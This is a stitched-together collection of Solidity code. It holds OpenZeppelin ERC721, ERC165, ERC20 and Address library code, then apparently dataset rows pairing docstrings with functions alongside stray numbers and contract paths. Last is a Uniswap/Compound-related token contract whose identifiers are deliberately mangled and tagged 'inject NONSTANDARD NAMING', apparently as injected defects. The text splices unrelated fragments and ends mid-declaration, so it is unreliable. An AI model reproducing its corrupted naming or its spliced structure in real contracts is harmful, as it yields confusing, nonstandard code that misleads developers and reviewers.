{Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
External function to set the default token URI. This function can be called only by owner. _tokenURI New default token uri/
function setDefaultTokenURI(string memory _tokenURI) external onlyOwner { defaultTokenURI = _tokenURI; emit DefaultTokenURISet(defaultTokenURI); }
13,463,444
./full_match/8453/0x2498A2B0d6462d2260EAC50aE1C3e03F4829BA95/sources/contracts/gauges/ChildChainGaugeFactory.sol
Deploys a new gauge for a Balancer pool. As anyone can register arbitrary Balancer pools with the Vault, it's impossible to prove onchain that `pool` is a "valid" deployment. Care must be taken to ensure that gauges deployed from this factory are suitable to distribute rewards. It is possible to deploy multiple gauges for a single pool. pool The address of the pool for which to deploy a gauge return The address of the deployed gauge/
function create(address pool) external returns (address) { address gauge = _create(); IChildChainGauge(gauge).initialize(pool, getProductVersion()); return gauge; }
11,548,447
pragma solidity 0.5.17; pragma experimental ABIEncoderV2; interface iuniswap2 { //inject NONSTANDARD NAMING // To convert DAI to ETH function SWAPEXACTTOKENSFORETH53(uint AMOUNTIN88, uint AMOUNTOUTMIN99, address[] calldata PATH78, address TO76, uint DEADLINE33) external returns (uint[] memory AMOUNTS56); //inject NONSTANDARD NAMING // To convert ETH to YELD and burn it function SWAPEXACTETHFORTOKENS6(uint AMOUNTOUTMIN99, address[] calldata PATH78, address TO76, uint DEADLINE33) external payable returns (uint[] memory AMOUNTS56); //inject NONSTANDARD NAMING } interface ierc2093 { //inject NONSTANDARD NAMING function TOTALSUPPLY70() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF25(address ACCOUNT45) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER37(address RECIPIENT39, uint256 AMOUNT4) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE65(address OWNER26, address SPENDER52) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE3(address SPENDER52, uint256 AMOUNT4) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM19(address SENDER75, address RECIPIENT39, uint256 AMOUNT4) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER22(address indexed FROM88, address indexed TO76, uint256 VALUE83); //inject NONSTANDARD NAMING event APPROVAL93(address indexed OWNER26, address indexed SPENDER52, uint256 VALUE83); //inject NONSTANDARD NAMING } contract context61 { //inject NONSTANDARD NAMING constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _MSGSENDER82() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA79() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ownable93 is context61 { //inject NONSTANDARD NAMING address payable private _OWNER43; //inject NONSTANDARD NAMING event OWNERSHIPTRANSFERRED63(address indexed PREVIOUSOWNER24, address indexed NEWOWNER52); //inject NONSTANDARD NAMING constructor () internal { _OWNER43 = _MSGSENDER82(); emit OWNERSHIPTRANSFERRED63(address(0), _OWNER43); } function OWNER99() public view returns (address payable) { //inject NONSTANDARD NAMING return _OWNER43; } modifier ONLYOWNER61() { //inject NONSTANDARD NAMING require(ISOWNER2(), "Ownable: caller is not the owner"); _; } function ISOWNER2() public view returns (bool) { //inject NONSTANDARD NAMING return _MSGSENDER82() == _OWNER43; } function RENOUNCEOWNERSHIP13() public ONLYOWNER61 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED63(_OWNER43, address(0)); _OWNER43 = address(0); } function TRANSFEROWNERSHIP7(address payable NEWOWNER52) public ONLYOWNER61 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP60(NEWOWNER52); } function _TRANSFEROWNERSHIP60(address payable NEWOWNER52) internal { //inject NONSTANDARD NAMING require(NEWOWNER52 != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED63(_OWNER43, NEWOWNER52); _OWNER43 = NEWOWNER52; } } contract erc2030 is context61, ierc2093 { //inject NONSTANDARD NAMING using safemath13 for uint256; mapping (address => uint256) _BALANCES15; //inject NONSTANDARD NAMING mapping (address => mapping (address => uint256)) private _ALLOWANCES69; //inject NONSTANDARD NAMING uint256 _TOTALSUPPLY32; //inject NONSTANDARD NAMING function TOTALSUPPLY70() public view returns (uint256) { //inject NONSTANDARD NAMING return _TOTALSUPPLY32; } function BALANCEOF25(address ACCOUNT45) public view returns (uint256) { //inject NONSTANDARD NAMING return _BALANCES15[ACCOUNT45]; } function TRANSFER37(address RECIPIENT39, uint256 AMOUNT4) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER95(_MSGSENDER82(), RECIPIENT39, AMOUNT4); return true; } function ALLOWANCE65(address OWNER26, address SPENDER52) public view returns (uint256) { //inject NONSTANDARD NAMING return _ALLOWANCES69[OWNER26][SPENDER52]; } function APPROVE3(address SPENDER52, uint256 AMOUNT4) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE30(_MSGSENDER82(), SPENDER52, AMOUNT4); return true; } function TRANSFERFROM19(address SENDER75, address RECIPIENT39, uint256 AMOUNT4) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER95(SENDER75, RECIPIENT39, AMOUNT4); _APPROVE30(SENDER75, _MSGSENDER82(), _ALLOWANCES69[SENDER75][_MSGSENDER82()].SUB57(AMOUNT4, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE47(address SPENDER52, uint256 ADDEDVALUE76) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE30(_MSGSENDER82(), SPENDER52, _ALLOWANCES69[_MSGSENDER82()][SPENDER52].ADD27(ADDEDVALUE76)); return true; } function DECREASEALLOWANCE20(address SPENDER52, uint256 SUBTRACTEDVALUE75) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE30(_MSGSENDER82(), SPENDER52, _ALLOWANCES69[_MSGSENDER82()][SPENDER52].SUB57(SUBTRACTEDVALUE75, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER95(address SENDER75, address RECIPIENT39, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(SENDER75 != address(0), "ERC20: transfer from the zero address"); require(RECIPIENT39 != address(0), "ERC20: transfer to the zero address"); _BALANCES15[SENDER75] = _BALANCES15[SENDER75].SUB57(AMOUNT4, "ERC20: transfer amount exceeds balance"); _BALANCES15[RECIPIENT39] = _BALANCES15[RECIPIENT39].ADD27(AMOUNT4); emit TRANSFER22(SENDER75, RECIPIENT39, AMOUNT4); } function _MINT79(address ACCOUNT45, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(ACCOUNT45 != address(0), "ERC20: mint to the zero address"); _TOTALSUPPLY32 = _TOTALSUPPLY32.ADD27(AMOUNT4); _BALANCES15[ACCOUNT45] = _BALANCES15[ACCOUNT45].ADD27(AMOUNT4); emit TRANSFER22(address(0), ACCOUNT45, AMOUNT4); } function _BURN68(address ACCOUNT45, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(ACCOUNT45 != address(0), "ERC20: burn from the zero address"); _BALANCES15[ACCOUNT45] = _BALANCES15[ACCOUNT45].SUB57(AMOUNT4, "ERC20: burn amount exceeds balance"); _TOTALSUPPLY32 = _TOTALSUPPLY32.SUB57(AMOUNT4); emit TRANSFER22(ACCOUNT45, address(0), AMOUNT4); } function _APPROVE30(address OWNER26, address SPENDER52, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(OWNER26 != address(0), "ERC20: approve from the zero address"); require(SPENDER52 != address(0), "ERC20: approve to the zero address"); _ALLOWANCES69[OWNER26][SPENDER52] = AMOUNT4; emit APPROVAL93(OWNER26, SPENDER52, AMOUNT4); } function _BURNFROM66(address ACCOUNT45, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING _BURN68(ACCOUNT45, AMOUNT4); _APPROVE30(ACCOUNT45, _MSGSENDER82(), _ALLOWANCES69[ACCOUNT45][_MSGSENDER82()].SUB57(AMOUNT4, "ERC20: burn amount exceeds allowance")); } } contract erc20detailed21 is ierc2093 { //inject NONSTANDARD NAMING string private _NAME42; //inject NONSTANDARD NAMING string private _SYMBOL85; //inject NONSTANDARD NAMING uint8 private _DECIMALS78; //inject NONSTANDARD NAMING constructor (string memory NAME99, string memory SYMBOL38, uint8 DECIMALS96) public { //inject NONSTANDARD NAMING _NAME42 = NAME99; _SYMBOL85 = SYMBOL38; _DECIMALS78 = DECIMALS96; } function NAME45() public view returns (string memory) { //inject NONSTANDARD NAMING return _NAME42; } function SYMBOL75() public view returns (string memory) { //inject NONSTANDARD NAMING return _SYMBOL85; } function DECIMALS63() public view returns (uint8) { //inject NONSTANDARD NAMING return _DECIMALS78; } } contract reentrancyguard94 { //inject NONSTANDARD NAMING uint256 private _GUARDCOUNTER38; //inject NONSTANDARD NAMING constructor () internal { _GUARDCOUNTER38 = 1; } modifier NONREENTRANT47() { //inject NONSTANDARD NAMING _GUARDCOUNTER38 += 1; uint256 LOCALCOUNTER54 = _GUARDCOUNTER38; //inject NONSTANDARD NAMING _; require(LOCALCOUNTER54 == _GUARDCOUNTER38, "ReentrancyGuard: reentrant call"); } } library safemath13 { //inject NONSTANDARD NAMING function ADD27(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 C51 = A32 + B30; //inject NONSTANDARD NAMING require(C51 >= A32, "SafeMath: addition overflow"); return C51; } function SUB57(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB57(A32, B30, "SafeMath: subtraction overflow"); } function SUB57(uint256 A32, uint256 B30, string memory ERRORMESSAGE15) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(B30 <= A32, ERRORMESSAGE15); uint256 C51 = A32 - B30; //inject NONSTANDARD NAMING return C51; } function MUL24(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (A32 == 0) { return 0; } uint256 C51 = A32 * B30; //inject NONSTANDARD NAMING require(C51 / A32 == B30, "SafeMath: multiplication overflow"); return C51; } function DIV26(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV26(A32, B30, "SafeMath: division by zero"); } function DIV26(uint256 A32, uint256 B30, string memory ERRORMESSAGE15) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(B30 > 0, ERRORMESSAGE15); uint256 C51 = A32 / B30; //inject NONSTANDARD NAMING return C51; } function MOD76(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD76(A32, B30, "SafeMath: modulo by zero"); } function MOD76(uint256 A32, uint256 B30, string memory ERRORMESSAGE15) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(B30 != 0, ERRORMESSAGE15); return A32 % B30; } } library address92 { //inject NONSTANDARD NAMING function ISCONTRACT77(address ACCOUNT45) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 CODEHASH48; //inject NONSTANDARD NAMING bytes32 ACCOUNTHASH81 = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; //inject NONSTANDARD NAMING // solhint-disable-next-line no-inline-assembly assembly { CODEHASH48 := extcodehash(ACCOUNT45) } return (CODEHASH48 != 0x0 && CODEHASH48 != ACCOUNTHASH81); } function TOPAYABLE47(address ACCOUNT45) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(ACCOUNT45)); } function SENDVALUE65(address payable RECIPIENT39, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(address(this).balance >= AMOUNT4, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool SUCCESS17, ) = RECIPIENT39.call.value(AMOUNT4)(""); //inject NONSTANDARD NAMING require(SUCCESS17, "Address: unable to send value, recipient may have reverted"); } } library safeerc2059 { //inject NONSTANDARD NAMING using safemath13 for uint256; using address92 for address; function SAFETRANSFER30(ierc2093 TOKEN25, address TO76, uint256 VALUE83) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.TRANSFER37.selector, TO76, VALUE83)); } function SAFETRANSFERFROM76(ierc2093 TOKEN25, address FROM88, address TO76, uint256 VALUE83) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.TRANSFERFROM19.selector, FROM88, TO76, VALUE83)); } function SAFEAPPROVE32(ierc2093 TOKEN25, address SPENDER52, uint256 VALUE83) internal { //inject NONSTANDARD NAMING require((VALUE83 == 0) || (TOKEN25.ALLOWANCE65(address(this), SPENDER52) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.APPROVE3.selector, SPENDER52, VALUE83)); } function SAFEINCREASEALLOWANCE32(ierc2093 TOKEN25, address SPENDER52, uint256 VALUE83) internal { //inject NONSTANDARD NAMING uint256 NEWALLOWANCE45 = TOKEN25.ALLOWANCE65(address(this), SPENDER52).ADD27(VALUE83); //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.APPROVE3.selector, SPENDER52, NEWALLOWANCE45)); } function SAFEDECREASEALLOWANCE48(ierc2093 TOKEN25, address SPENDER52, uint256 VALUE83) internal { //inject NONSTANDARD NAMING uint256 NEWALLOWANCE45 = TOKEN25.ALLOWANCE65(address(this), SPENDER52).SUB57(VALUE83, "SafeERC20: decreased allowance below zero"); //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.APPROVE3.selector, SPENDER52, NEWALLOWANCE45)); } function CALLOPTIONALRETURN90(ierc2093 TOKEN25, bytes memory DATA85) private { //inject NONSTANDARD NAMING require(address(TOKEN25).ISCONTRACT77(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool SUCCESS17, bytes memory RETURNDATA42) = address(TOKEN25).call(DATA85); //inject NONSTANDARD NAMING require(SUCCESS17, "SafeERC20: low-level call failed"); if (RETURNDATA42.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(RETURNDATA42, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface compound17 { //inject NONSTANDARD NAMING function MINT37 ( uint256 MINTAMOUNT46 ) external returns ( uint256 ); //inject 